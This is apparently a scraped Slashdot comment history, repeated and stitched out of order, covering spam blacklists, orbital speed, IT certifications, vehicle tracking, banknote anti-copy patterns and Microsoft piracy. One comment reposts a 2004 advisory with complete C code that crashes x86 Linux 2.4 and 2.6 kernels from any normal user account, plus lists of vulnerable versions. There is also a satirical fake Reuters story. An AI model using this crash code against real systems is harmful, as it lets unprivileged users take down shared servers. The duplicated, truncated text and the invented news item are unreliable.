The most comfortable chairs in the plushiest offices with the most fantastic views where the people are backstabbing political lunatics will never measure up to a place where the roof leaks, the furniture is broken-up with a partially-blocked-by-a-dumpster view down the lane where people are honestly caring about each other.
Spam does not have to be made impossible to be eliminated; we just have to reduce response rates to the point where it's no longer profitable and wait for professional spammers to die off.
A good way to do so is to apply the internet death penalty to all networks that not only house spammers, but also let their clients to connect spambotworm-compromised machines.
When their clients find out that they are basically on an intranet, they can either move elsewhere or bitch loudly enough so they boot the spammers and the spambots.
We're in a war, and we're reaching the point of total war where nothing but the total unconditionnal obliteration of the spammers will do.
I'm not trolling, (and I'm not have a jab at every BL project out there) but these "vigilant individuals" also create problems of their own as they counter the problems of SPAM, blacklisting without accountability and the like. Their actions can also degrade the quality of the internet. I'm not saying do nothing but sometimes doing a knee-jerk reaction can be just as harmful. The word vigilant, is too close to vigilante for my comfort:)
The idea of blocking is to put pressure on rogue networks who host spammers. A very efficient way is to put pressure on their other clients so they either bitch or vote with their feet. That's the main use of collateral damage that SPEWS is good for.
So they made it. Congrats. Now how high would they have to go to enter orbit?
Orbit is not a matter of "how high" but of "how fast".
In theory, you could be in orbit WITHIN a planet, if you run through an evacuated tunnel below the surface (someone even wrote a story about a black hole in a perfect circular orbit, skimming the surface of it's primary).
Apollo used transfer orbits that nearly skimmed the moon surface to get the lunar module down and up. Apollo 10's lunar module got in orbit to within thousands of feet from the lunar surface.
In order to reach orbit, you need to attain a velocity a few order of magnitude greater than Spaceship One; this is why the space Shuttle and the COHO3 go up with big kick-ass rocket engines, tanks and boosters...
For that matter, I've never understood why people are happy to post their braindumps of memorized exam questions on the Internet. The people you're feeding answers to are the same people you're going to be competing with for jobs. You're flooding the same market you want to compete in!
You, unfortunately, fall into the later, and THAT is whats wrong with certifications. As you yourself articulated, the hardest interview you ever had was what those in the former category would consider the EASIEST. If you truly are an IT person, you don't need some silly piece of paper to prove your skill - you can simply convey it by talking about yourself, and showing that you learn on your OWN.
How sweet, cute and naive. This is all fine, but when the guy who calls the shots (he who calls the candidates for interview) is stupid enough to only looks at the letters after your name, you're toast if you ain't got'em.
(Looks crappy thanks to the lameness filter. Indeed this is a lame filter)
New Kernel Crash-Exploit discovered Published 2004-06-11 by xiando, v2.1.4, last updated 2004-06-13. A bug lets a simple C program crash the kernel, effectively locking the whole system. Affects both 2.4.2x and 2.6.x kernels on the x86 architecture. The Evil Code The Crashing Kernels The safe kernels The threat How to protect yourself Patch for 2.4.2x (vanilla) Kernels 2.4.26 2.4.25 2.4.21 Kernel 2.4.26-rc3-gentoo 2.6.xx kernels Bug reports The Evil Code Running this simple C program crashes the Linux kernel. #include <sys/time.h> #include <signal.h> #include <unistd.h>
This bug is confirmed to be present when the code is compiled with GCC version 3.0, 3.1, 3.2, 3.3 and 3.3.2 and used on Linux kernel versions 2.4.2x and 2.6.x x86 systems. The Crashing Kernels Minor numbers are versions verified, this is just the top the iceberg: Linux 2.6.x 2.6.7-rc2 2.6.6 (vanilla) 2.6.6-rc1 SMP (varified by blaise) 2.6.6 SMP (verified by riven) 2.6.5-gentoo (verified by RatiX) 2.6.5-mm6 - (verified by Mariux) 2.6.5 (fedora core 2 vanilla) Linux 2.4.2x 2.4.26 vanilla 2.4.26, grsecurity 2.0 config 2.4.26-rc1 vanilla 2.4.26-gentoo-r1 2.4.22 2.4.22-1.2188 Fedora FC1 Kernel 2.4.18-bf2.4 (debian woody vanilla) Even grsecurity-patched kernels crash. "I would have hoped that grsec would have blocked or logged something, but nothing appeared in the logs." Vincent The safe kernels This code does nothing but exit with the error message Floating point exception and can not do any damage to systems running Linux nudge 2.6.5-1um i686 (the user-mode Linux kernel) Dylan Smith Linux Kernel 2.6.4 SMP patched with staircase scheduler Guille Linux kernel 2.4.26-rc3-gentoo (gcc 3.3.3) Linux kernel 2.4.26_pre6-gentoo (gcc 3.3.2) 2.2.19-kernel It is unclear why these specific Gentoo patch sets of the 2.4.26 kernel are safe. Other versions of the Gentoo kernel are not. The user-mode Linux kernel 2.6.5-1um is safe. I assume this means other versions of user mode Linux are safe. Linux Kernel 2.6.4 SMP with patches has been reported to be safe. Reporter uses a version patched with Con Kolivas Staircase scheduler (but it only affects to the task scheduler). Gcc version 3.3.3. "System did not crash, I left the crash program 10 minutes and after that i killed the task and I continued using my system". Guille The glitch is verified present in Linux 2.5.6 SMP and Linux 2.6.6 SMP. The bug is not present in 2.2.19, it seems this bug only affects 2.4 and later. The threat Using this exploit to crash Linux systems requires the (ab)user to have shell access. The program works on any normal user account, root access is not required. This exploit has been reported used to take down several "lame free-shell providers" servers (this is illegal in most parts of the world and strongly discouraged). This code only works on x86 Linux machines. This code does not compile (makes no executable) on sparc64 sun4u TI UltraSparc II (BlackBird). This doesn't affect NetBSD Stable. Check your own system yourself if you are wondering if this affects you. Better safe than sorry. Assume it will crash, sync (even unmount) your file systems before testing. If your system is a production server with 1000 on line users then do not test this code on that box. How to protect yourself The last days were frustrating. Compiling a large number of diffe
Let's make one thing clear. We gonna see libertarians harping about privacy and whatnot.
It should therefore be made absolutely clear that driving, being a PRIVILEGE and not a right, and occuring on public roads, one cannot have any expectation of privacy while doing so. And just as it is perfectly legal and acceptable for anybody to note that they have sighted such and such vehicle at such and such place, it should be the same for any governmental authority, and they perfectly have the right to automatically collect information regarding the whereabouts of vehicles rolling on public roads.
This is ridiculous; it will be giving people a false sense of security.
If people become convinced that it is ***IMPOSSIBLE*** to counterfeit money, they will stop being suspicious, forget to triple check all the features and counterfeiters will have a field day...
...will software developers be required to keep up with new note faces? If old software blocks all note faces as of 2004, will developers face penalties for not updating their software in 2008 when the currency is redesigned?
They won't. The "Eurion" pattern (that's how it's called) is a small pattern (no more than 8mm wide in total) that can be inconspicuously blended in the background of a banknote and repeated throughout the design.
Just because your software is open-source doesn't make it suddenly immune to the laws of your country.
And how, pray tell, can the EU force a open-source software developper in Taiwan to incorporate their code in his program???? Or, for that matter, prevent people in the EU from downloading and using it???
Why not just have SP2 install and patch the system then report in ANY WAY POSSIBLE that this is a pirated copy of Window XP. Try and send information to MS identifying the end user if possible through the IP Address, login name, Dial-Up Networking IP account, address, and provider. Gather information from Microsoft Office as well, any Word or Excel Documents that have addresses in them send those to MS as well.
In other news:
(Reuters) Microsoft's (MSFT) connections to the net gradually ground to a halt following the release of service pack 2 for their popular Windows XP operating system. Analysts are currently conjecturing that this is the effect of an undocumented feature of the service pack whereas if the service pack is applied to a pirated version of the OS, it reports itself to Microsoft in as many ways as possible in order to eneable Microsoft security to track down and positively locate the pirate.
Microsoft spokesperson Heather McGillivray stated in a press conference at company headquarters earlier Thursday that the company has put it's top analysts on the problem. People who are seeking to contact Microsoft in the meanwhile are advised to try alternate methods such as by telephone, telegraph or carrier pigeons. For the later, Microsoft has hastily implemented RFC 1149 and RFC 2549 gateways to it's corporate network.
They can pretend that they hate piracy of their products, but they hate OSS/Free software even more. Locking out non-payers would probably just hurt them more than help them, causing a lot of people to defect to Linux and Macs.
Indeed. They hate OSS users more, because at least, the pirates could theorically be brought to justice and/or made to cough-up cash to Billy-Boy, whereas they just can't LEGALLY lay their hands on OSS users and squeeze cash out of them...
Piracy does not threaten to shut them down. OSS does.
Slashdot Mirror
You've got Bubba!!!
It's the people there, and their attitude.
The most comfortable chairs in the plushiest offices with the most fantastic views where the people are backstabbing political lunatics will never measure up to a place where the roof leaks, the furniture is broken-up with a partially-blocked-by-a-dumpster view down the lane where people are honestly caring about each other.
Last rule: don't use Microsoft Exchange.
When their clients find out that they are basically on an intranet, they can either move elsewhere or bitch loudly enough so they boot the spammers and the spambots.
We're in a war, and we're reaching the point of total war where nothing but the total unconditionnal obliteration of the spammers will do.
... the US is the same as France...
In theory, you could be in orbit WITHIN a planet, if you run through an evacuated tunnel below the surface (someone even wrote a story about a black hole in a perfect circular orbit, skimming the surface of it's primary).
Apollo used transfer orbits that nearly skimmed the moon surface to get the lunar module down and up. Apollo 10's lunar module got in orbit to within thousands of feet from the lunar surface.
In order to reach orbit, you need to attain a velocity a few order of magnitude greater than Spaceship One; this is why the space Shuttle and the COHO3 go up with big kick-ass rocket engines, tanks and boosters...
2. Take-off.
3. ???
4. Profit!!!
In soviet russia, spaceship flies mike.
I'd like to see a beo...
This, my friend, is life.
Boeing receives plenty of government subsidies. The only thing is that they are hidden under obscene military aircraft pricing.
Remember, if you're not with us, you're against us.
The same cannot be said of many proprietary OSes...
(Reposted, account some asshole moderating it as "troll")
(Looks crappy thanks to the lameness filter. Indeed this is a lame filter)
New Kernel Crash-Exploit discovered
Published 2004-06-11 by xiando, v2.1.4, last updated 2004-06-13.
A bug lets a simple C program crash the kernel, effectively locking the whole system. Affects both 2.4.2x and 2.6.x kernels on the x86 architecture.
The Evil Code
The Crashing Kernels
The safe kernels
The threat
How to protect yourself Patch for 2.4.2x (vanilla) Kernels 2.4.26 2.4.25 2.4.21 Kernel 2.4.26-rc3-gentoo 2.6.xx kernels
Bug reports
The Evil Code
Running this simple C program crashes the Linux kernel.
#include <sys/time.h>
#include <signal.h>
#include <unistd.h>
static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}
int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);
return 0;
}
This bug is confirmed to be present when the code is compiled with GCC version 3.0, 3.1, 3.2, 3.3 and 3.3.2 and used on Linux kernel versions 2.4.2x and 2.6.x x86 systems.
The Crashing Kernels
Minor numbers are versions verified, this is just the top the iceberg:
Linux 2.6.x 2.6.7-rc2 2.6.6 (vanilla) 2.6.6-rc1 SMP (varified by blaise) 2.6.6 SMP (verified by riven) 2.6.5-gentoo (verified by RatiX) 2.6.5-mm6 - (verified by Mariux) 2.6.5 (fedora core 2 vanilla) Linux 2.4.2x 2.4.26 vanilla 2.4.26, grsecurity 2.0 config 2.4.26-rc1 vanilla 2.4.26-gentoo-r1 2.4.22 2.4.22-1.2188 Fedora FC1 Kernel 2.4.18-bf2.4 (debian woody vanilla)
Even grsecurity-patched kernels crash. "I would have hoped that grsec would have blocked or logged something, but nothing appeared in the logs." Vincent
The safe kernels
This code does nothing but exit with the error message Floating point exception and can not do any damage to systems running
Linux nudge 2.6.5-1um i686 (the user-mode Linux kernel) Dylan Smith
Linux Kernel 2.6.4 SMP patched with staircase scheduler Guille
Linux kernel 2.4.26-rc3-gentoo (gcc 3.3.3)
Linux kernel 2.4.26_pre6-gentoo (gcc 3.3.2)
2.2.19-kernel
It is unclear why these specific Gentoo patch sets of the 2.4.26 kernel are safe. Other versions of the Gentoo kernel are not. The user-mode Linux kernel 2.6.5-1um is safe. I assume this means other versions of user mode Linux are safe.
Linux Kernel 2.6.4 SMP with patches has been reported to be safe. Reporter uses a version patched with Con Kolivas Staircase scheduler (but it only affects to the task scheduler). Gcc version 3.3.3. "System did not crash, I left the crash program 10 minutes and after that i killed the task and I continued using my system". Guille
The glitch is verified present in Linux 2.5.6 SMP and Linux 2.6.6 SMP.
The bug is not present in 2.2.19, it seems this bug only affects 2.4 and later.
The threat
Using this exploit to crash Linux systems requires the (ab)user to have shell access. The program works on any normal user account, root access is not required. This exploit has been reported used to take down several "lame free-shell providers" servers (this is illegal in most parts of the world and strongly discouraged).
This code only works on x86 Linux machines. This code does not compile (makes no executable) on sparc64 sun4u TI UltraSparc II (BlackBird). This doesn't affect NetBSD Stable.
Check your own system yourself if you are wondering if this affects you. Better safe than sorry. Assume it will crash, sync (even unmount) your file systems before testing. If your system is a production server with 1000 on line users then do not test this code on that box.
How to protect yourself
The last days were frustrating. Compiling a large number of diffe
The same cannot be said of many proprietary OSes...
It should therefore be made absolutely clear that driving, being a PRIVILEGE and not a right, and occuring on public roads, one cannot have any expectation of privacy while doing so. And just as it is perfectly legal and acceptable for anybody to note that they have sighted such and such vehicle at such and such place, it should be the same for any governmental authority, and they perfectly have the right to automatically collect information regarding the whereabouts of vehicles rolling on public roads.
There.
If people become convinced that it is ***IMPOSSIBLE*** to counterfeit money, they will stop being suspicious, forget to triple check all the features and counterfeiters will have a field day...
Here is a good description of the principle.
I wonder if it is copyrighted and I could, say, incorporate it in my photographs...
In other news:
(Reuters) Microsoft's (MSFT) connections to the net gradually ground to a halt following the release of service pack 2 for their popular Windows XP operating system. Analysts are currently conjecturing that this is the effect of an undocumented feature of the service pack whereas if the service pack is applied to a pirated version of the OS, it reports itself to Microsoft in as many ways as possible in order to eneable Microsoft security to track down and positively locate the pirate.
Microsoft spokesperson Heather McGillivray stated in a press conference at company headquarters earlier Thursday that the company has put it's top analysts on the problem. People who are seeking to contact Microsoft in the meanwhile are advised to try alternate methods such as by telephone, telegraph or carrier pigeons. For the later, Microsoft has hastily implemented RFC 1149 and RFC 2549 gateways to it's corporate network.
Piracy does not threaten to shut them down. OSS does.